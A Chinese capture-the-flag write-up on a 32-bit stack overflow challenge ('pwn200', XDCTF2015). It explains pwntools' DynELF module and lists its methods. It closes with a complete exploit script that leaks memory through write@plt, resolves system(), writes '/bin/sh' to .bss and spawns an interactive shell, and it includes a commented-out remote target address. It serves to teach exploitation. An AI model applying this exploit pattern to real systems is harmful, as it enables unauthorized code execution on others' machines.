简单的栈溢出,学习一下使用pwntools中的DynELF模块

DynELF

由于 ASLR 的影响,我们在获取某些函数地址的时候,需要一些特殊的操作。一种方法是先泄露出 libc.so 中的某个函数,然后根据函数之间的偏移,计算得到我们需要的函数地址,这种方法的局限性在于我们需要能找到和目标服务器上一样的 libc.so,而有些特殊情况下往往并不能找到。而另一种方法,利用如 pwntools 的 DynELF 模块,对内存进行搜索,直接得到我们需要的函数地址

为了使用 DynELF,首先需要有一个 leak(address) 函数,通过这一函数可以获取到某个地址上最少 1 byte 的数据,然后将这个函数作为参数调用 d = DynELF(leak, main),该模块就初始化完成了,然后就可以使用它提供的函数进行内存搜索,得到我们需要的函数地址。

类 DynELF 的初始化方法如下:
def __init__(self, leak, pointer=None, elf=None, libcdb=True):

参数 意义
leak leak 函数,它是一个 pwnlib.memleak.MemLeak 类的实例
pointer 一个指向 libc 内任意地址的指针
elf elf 文件
libcdb libcdb 是一个作者收集的 libc 库,默认启用以加快搜索
导出的类方法
base() 解析所有已加载库的基地址
static find_base(leak, ptr) 提供一个 pwnlib.memleak.MemLeak对象和一个指向库内的指针,然后找到其基地址
heap() 通过 __curbrk(链接器导出符号,指向当前brk)找到堆的起始地址
lookup(symb=None, lib=None) 找到 lib 中 symbol 的地址
stack() 通过 __environ(libc导出符号,指向environment block)找到一个指向栈的指针
dynamic() 返回指向 .DYNAMIC 的指针
elfclass 32 或 64 位
elftype elf 文件类型
libc 泄露 build id,下载该文件并加载
link_map 指向运行时 link_map 对象的指针

题目描述

可以泄露 system 函数的地址,只要将“/bin/sh”写入到前面的 bss 段地址,
然后调用就可以了

需要注意:
DynELF 是爆破重复进行调用,会导致堆栈的不平衡,在获取完毕后还需要返回 main 函数进行堆栈平衡

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
r = process('./pwn200')
#r = remote("111.200.241.244",31866)
elf = ELF('./pwn200')
write_plt = elf.plt['write']
read_plt = elf.plt['read']
bss = elf.bss()
main = 0x080484BE
pppr = 0x080485cd

def leak(addr):
r.recvuntil("Welcome to XDCTF2015~!\n")
payload = 'A'*112
payload += p32(write_plt)
payload += p32(main)
payload += p32(1)
payload += p32(addr)
payload += p32(4)
r.send(payload)
data = r.recv(4)
log.debug("%#x => %s" % (addr, (data or '').encode('hex')))
return data

d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
log.info("system addr ==> 0x%x" % system_addr)

payload = 'A'*112
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(20)
payload += p32(system_addr)
payload += p32(main)
payload += p32(bss)

sleep(0.5)
r.send(payload)
sleep(0.5)

payload1 = "/bin/sh\x00"
r.send(payload1)

r.interactive()